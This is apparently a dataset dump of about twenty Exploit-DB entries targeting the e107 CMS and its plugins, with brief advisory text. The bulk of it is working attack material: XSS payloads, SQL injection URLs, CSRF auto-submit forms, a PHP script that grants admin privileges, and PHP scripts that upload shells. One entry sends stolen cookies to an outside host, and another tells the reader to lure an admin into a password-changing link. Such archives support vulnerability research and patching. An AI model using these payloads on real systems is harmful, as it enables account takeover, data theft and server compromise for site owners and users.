deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38416
Description: e107 - 'content_preset.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-04-03
Author: Simon Bieber

Exploit:
source: https://www.securityfocus.com/bid/58841/info

e107 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

e107 1.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/e107_plugins/content/handlers/content_preset.php? %3c%00script%0d%0a>alert('reflexted%20XSS')</script>
Exploit-DB #1106
Description: e107 0.617 - Cross-Site Scripting Remote Cookie Disclosure
Type: webapps
Platform: php
Date: 2005-07-14
Author: warlord

Exploit:
/*
1) Change milw0rm.com to your domain.com
2) Post the below code into a new message.

Credits to Nick Griffin.

/str0ke
*/

[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]


# milw0rm.com [2005-07-14]
Exploit-DB #9825
Description: e107 0.7.16 - Referer header Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-24
Author: MustLive

Exploit:
Hello Bugtraq!

I want to warn you about Cross-Site Scripting vulnerability in E107. Which I
found at 31.01.2009 and disclosed recently.

XSS:

At page for sending news to email (http://site/email.php?news.1) it's
possible to conduct XSS attack via Referer header. Particularly it can be
done via flash.

Referer: '><script>alert(document.cookie)</script>

Vulnerable are E107 0.7.16 and previous versions (all versions).

I mentioned about this vulnerability at my site
(http://websecurity.com.ua/3528/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
Exploit-DB #34653
Description: e107 0.7.23 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-09-17
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/43327/info

e107 is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

e107 0.7.23 is vulnerable; other versions may also be affected. 


http://www.example.com/e107_admin/download.php?cat.edit.999999%0Aunion%0Aselect%0A1,2,3,4,5,6,7
http://www.example.com/e107_admin/wmessage.php?create.edit.999999%0Aunion%0Aselect%0A1,2,user%28%29
Exploit-DB #15143
Description: e107 0.7.23 - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-28
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22604
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_e107_2.html
Product: e107 Website System
Vendor: e107 ( http://www.e107.org/ ) 
Vulnerable Version: 0.7.23 and Probably Prior Versions
Vendor Notification: 13 September 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "forum_admin.php" script to properly sanitize user-supplied input in GET parameter. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


http://host/e107_plugins/forum/forum_admin.php?create.edit.9999999%0Aunion%0Aselect%0A1,2,user(),4,5,6,7,8,9,10,11,12,13,14
Exploit-DB #36252
Description: e107 0.7.24 - 'cmd' Remote Command Execution
Type: webapps
Platform: php
Date: 2011-10-24
Author: Matt Bergin

Exploit:
source: https://www.securityfocus.com/bid/50339/info

e107 is prone to a remote command-execution vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to execute arbitrary commands within the context of the vulnerable application.

e107 0.7.24 is vulnerable; other versions may also be affected. 

http://www.example.com/e107_config.php?cmd=id
Exploit-DB #35709
Description: e107 0.7.25 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-05-07
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47750/info

e107 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

e107 0.7.25 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/news.php?extend.9999999%0aAND%0aSUBSTRING(@@version,1,1)=5
Exploit-DB #28063
Description: e107 0.7.5 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-19
Author: securityconnection

Exploit:
source: https://www.securityfocus.com/bid/18508/info

e107 is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search.php?q=&r=0&s=Search&in=1&ex=1&ep= %27%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript% 3E&be=1&t=1&adv=1&type=all&on=new&time=any&author=
Exploit-DB #28078
Description: e107 0.7.5 - 'Subject' HTML Injection
Type: webapps
Platform: php
Date: 2006-06-21
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/18560/info

The e107 CMS is prone to an HTML-injection vulnerability.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site when the inserted data is viewed.

In Submit comment:
Subject: '><script>alert(/XSS/)</script>
Exploit-DB #33857
Description: e107 0.7.x - '/e107_admin/banner.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-21
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/39609/info

e107 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

<form action=http://host/e107_admin/banner.php method=POST name=f> <input type=hidden name=createbanner value="Create+New+Banner" > <input type=hidden name=click_url value="' ANY_SQL_HERE " > </form> <script> document.f.submit(); </script>
Exploit-DB #33256
Description: e107 0.7.x - CAPTCHA Security Bypass / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-28
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/36532/info

e107 is prone to a security-bypass vulnerability and multiple cross-site scripting vulnerabilities.

Successfully exploiting the security-bypass issue will allow an attacker to bypass the 'CAPTCHA' security mechanism. This may lead to other attacks.

The attacker could exploit the cross-site scripting issues to execute arbitrary script code in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/search.php?in=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/search.php?ex=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/search.php?ep=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/search.php?be=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #37026
Description: e107 1.0 - 'view' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-30
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/52821/info

e107 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

e107 1.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?option=com_flexicontent&view=[Sql]
Exploit-DB #35679
Description: e107 2 Bootstrap CMS - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-01-03
Author: Ahmet Agar / 0x97

Exploit:
 _____       _____  ______
|  _  |     |  _  ||___  /
| |/' |_  __| |_| |   / / 
|  /| \ \/ /\____ |  / /  
\ |_/ />  < .___/ /./ /   
 \___//_/\_\\____/ \_/    
                        by bl4ck s3c


# Exploit Title: e107 v2 Bootstrap CMS XSS Vulnerability
# Date: 03-01-2014
# Google Dork : Proudly powered by e107 
# Exploit Author: Ahmet Agar / 0x97
# Version: 2.0.0
# Vendor Homepage: http://e107.org/
# Tested on: OWASP Mantra & Iceweasel
 
# Vulnerability Description:

CMS user details section is vulnerable to XSS. You can run XSS payloads.

XSS Vulnerability #1:

Go Update user settings page

"http://{target-url}/usersettings.php"

Set Real Name value;

"><script>alert(String.fromCharCode(88, 83, 83))</script>

or

"><script>alert(document.cookie)</script>


========
Credits:
========
 
Vulnerability found and advisory written by Ahmet Agar.
 
===========
References:
===========
 
http://www.0x97.info
htts://twitter.com/_HacKingZ_
Exploit-DB #4099
Description: e107 < 0.7.8 - 'photograph' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2007-06-24
Author: g00ns

Exploit:
###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#INFO:
#Program Title ################################################################################
#e107 <= 0.7.8 - Arbitrary File Upload
#
#Description ##################################################################################
#"e107 is a content management system written in PHP and using the popular open source MySQL 
#database system for content storage. It's completely free, totally customisable and in 
#constant development" - e107.org
#
#Script Download ##############################################################################
#http://e107.org/edownload.php
#
#Original Advisory ############################################################################
#http://www.g00ns-forum.net/showthread.php?t=9388
#
#Vuln #########################################################################################
#vuln discovered by clorox
#shoutz: z3r0, milf, blackhill, godxcel, murderskillz, kirby, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
#fish, rey, canuck, ,vipsta, c0ma, grumpy, sick, trin, asdfhacks.com , a59, freeillwill.com, seven, tower, fury, 
#SS, <S>, Bernard, rst.void.ru, awesome andrew, and everyone else at g00ns.net
#
#Details ######################################################################################                         
#note: e107 is only vulnerable if it allows you to upload a photograph, avatars will not work.#
#to enable this an admin has to manually the settings in change e107_admin/users.php?options  #
###############################################################################################
#signup.php does not verify that a file submitted as an image is actually an image. it controls files uploaded
#only by the extension. files with a .php extension are blocked, but you can simply rename a php document to
#document.php.jpg and it passes the image verification and is uploaded.  to get the path of the file you uploaded
#you view your profile, view the source of the page and search for the name of the file and it will be there with 
#a few random numbers in it, and now all an attacker would have to do is simply call the evil script up and the
#server has been compromised.
#GoogleDork: "Please note: Any image uploaded to this server that is deemed inappropriate by the administrators will be deleted immediately."
#
################################################################################################

# milw0rm.com [2007-06-24]
Exploit-DB #26449
Description: e107 Advanced Medal System Plugin - SQL Injection
Type: webapps
Platform: php
Date: 2013-06-26
Author: Life Wasted

Exploit:
# Exploit Title: Advanced Medal System SQL Injection
# Google Dork: inurl:advmedsys_view.php
# Date: 6/18/13
# Exploit Author: Life Wasted and Caspa
# Vendor Homepage: http://e107.org/e107_plugins/psilo/list.php?mode=plugin&id=699
# Software Link: http://e107.org/e107_plugins/psilo/psilo.php?download.699
# Version: 1.42
# Tested On: Linux

Vulnerable Code (advmedsys_view.php):
// Lines 17-23
if (e_QUERY) {
        $tmp = explode('.', e_QUERY);
        $action = $tmp[0];
        $sub_action = $tmp[1];
        $id = $tmp[2];
        unset($tmp);
}
// Line 232
$sql->db_Select("advmedsys_awarded", "*", "WHERE awarded_user_id = $sub_action","");

Example URL: http://site.com/plugins/advmedsys_view.php?profile.*SQL HERE*
Exploit-DB #31700
Description: e107 CMS 0.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-04-24
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28917/info

e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

e107 0.7.0 is vulnerable; other versions may also be affected. 

http://localhost/a/news.php?day."><script>alert("www.z0rlu.ownspace.org")</script>
http://localhost/a/search.php?q="><script>alert("www.z0rlu.ownspace.org")</script>&r=0&s.x=8&s.y=4
Exploit-DB #12319
Description: e107 CMS 0.7.19 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-04-21
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22344

Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_e107.html

Product: e107 Website System

Vendor: e107

Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification:
05 April 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery)

Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level:
Medium

Credit: High-Tech Bridge SA (http://www.htbridge.ch/)



Vulnerability Details:

The vulnerability exists due to failure in the /e107_admin/users.php script
to properly verify the source of HTTP request.



Successful exploitation of this vulnerability could result in a compromise
of the application, disclosure or modification of sensitive data.



Attacker can use browser to exploit this vulnerability. The following PoC is
available:





<form method=POST action=http://host/e107_admin/users.php name=main> <input
type=hidden name=userid value=2> <input type=hidden name=userip
value=1.2.3.4> <input type=hidden name=useraction value=admin> </form>
Exploit-DB #40746
Description: e107 CMS 2.1.2 - Privilege Escalation
Type: webapps
Platform: php
Date: 2016-11-09
Author: Kacper Szurek

Exploit:
# Exploit Title: e107 CMS 2.1.2 Privilege Escalation
# Date: 09-11-2016
# Software Link: http://e107.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

Datas from `$_POST['updated_data']` inside `usersettings.php` are not properly validated so we can set `user_admin`.

http://security.szurek.pl/e107-cms-211-privilege-escalation.html

2. Proof of Concept

<?php

/**
 * e107 CMS 2.1.2 Privilege Escalation
 * Kacper Szurek
 * http://security.szurek.pl
 */
function hack($url, $login, $pass, $cookie){

	$ckfile = dirname(__FILE__) . $cookie;
	$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt($ch, CURLOPT_TIMEOUT, 10);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In')));
	curl_setopt($ch, CURLOPT_POST, 1);
	$content = curl_exec($ch);
	if (strpos($content, '?logout') === false) {
		die("Cannot login");
	}

	$data = array();
	$data['user_admin'] = 1;
	$data['user_perms'] = 0;
	$data['user_password'] = md5($pass);

	curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass)));
	$content = curl_exec($ch);

	if (strpos($content, 'Settings updated') === false) {
		die("Exploit probably failed");
	}

	die('OK!');
}

$url = "http://url_here";

// Standard user credentials 
$user = "login_here";
$pass = "password_here";

$cookie = "/cookie.txt";
hack($url, $user, $pass, $cookie);
Exploit-DB #41844
Description: e107 CMS 2.1.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-04-07
Author: Zhiyang Zeng

Exploit:
<!--
==========================
Title:Mutiple CSRF vulnerabilities in e107 CMS 2.1.4
Author:Zhiyang Zeng

Product:
—————
e107 is a powerful website content management system designed for bootstrap v3 from http://e107.org/get-started
—————

Fix
—————
Fixed in git source code https://github.com/e107inc/e107/commit/7a3e3d9fc7e05ce6941b9af1c14010bf2141f1a5
—————

Summary
————
e107 CMS version 2.1.4 is vulnerable to cross-site request forgery in plugin-installing,meta-changingand settings-changing,a malicious web page can use
forged requests to make e107 download and install a plug-in provided by the attacker.
————

Timeline
———
2017-03-01   report to vendor
2017-03-02  GitHub commit to fix token missing
———

 Reproduce:
==========
I just give a uninstall any plugins POC.

vul address:http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php

POC:
-->

<form action="http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php?uninstall.8" method="post">
<input type="text" name="delete_tables" value="1">
<input type="text" name="delete_ipool" value="1">
<input type="text" name="delete_files" value="0">
<input type="text" name="uninstall_confirm" value="Confirm uninstall">
<input type="submit" name="submit">
</form>

<!--
Description:
I try to uninstall plugin  gallery which id is 8.

visiting beyond POC page, you will find gallery plugin has been uninstalled success!
===========
-->
Exploit-DB #49614
Description: e107 CMS 2.3.0 - CSRF
Type: webapps
Platform: php
Date: 2021-03-04
Author: Tadjmen

Exploit:
# Exploit Title: e107 CMS 2.3.0 - CSRF
# Date: 04/03/2021
# Exploit Author: Tadjmen
# Vendor Homepage: https://e107.org
# Software Link: https://e107.org/download
# Version: 2.3.0
# Tested on: Windows 10
# CVE : CVE-2021-27885

CSRF vulnerability on e107 CMS

## Bug Description
Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.

## How to Reproduce
Steps to reproduce the behavior:
1. Create a CSRF login POC using the following code.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Cross Site Request Forgery (Edit Existing Admin details)</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
{
    var count = 2;
    var i=0;

    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}

</script>

<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>

<form method="POST" name="form0" action="
http://localhost/[path-to-e107-cms]/usersettings.php">

<input type="hidden" name="loginname" value="admin"/>
<input type="hidden" name="email" value="[email]"/>
<input type="hidden" name="password1" value="[password]"/>
<input type="hidden" name="password2" value="[password]"/>
<input type="hidden" name="hideemail" value="1"/>
<input type="hidden" name="image" value=""/>
<input type="hidden" name="signature" value=""/>
<input type="hidden" name="updatesettings" value="Save settings"/>
<input type="hidden" name="_uid" value="2"/>




</form>

</body>
</html>
```


2. Replace the email and password with the valid credentials.
3. Send the link script to the victim (admin) to make them click.
4. Login with new admin password
Exploit-DB #37434
Description: e107 Filedownload Plugin - Arbitrary File Upload / Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-06-19
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54098/info

The FileDownload Plugin for e107 is prone to an arbitrary file-upload vulnerability and a remote file-disclosure vulnerability because the application fails to adequately sanitize user-supplied input.

An attacker can exploit these issues to upload a file and view local files in the context of the web server process, which may aid in further attacks.

FileDownload 1.1 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$ch = curl_init("http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/save.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
               array('filename'=>'lo.php',
          'accesses'=>'<?php phpinfo(); ?>'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>

http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/edit.php?file=../../../../../e107_config.php%00
Exploit-DB #37431
Description: e107 Hupsi_fancybox Plugin - 'Uploadify.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-19
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54091/info

The Hupsi_fancybox Plugin for e107 is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Hupsi_fancybox 1.0.4 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$uploadfile="lo.php";

$ch = curl_init("http://www.example.com/e107/e107_plugins/hupsi_fancybox/uploader/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
               array('Filedata'=>"@$uploadfile",
          'username'=>'test',
          'folder'=>'/e107/e107_plugins/hupsi_fancybox/uploader/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
   
print "$postResult";

?>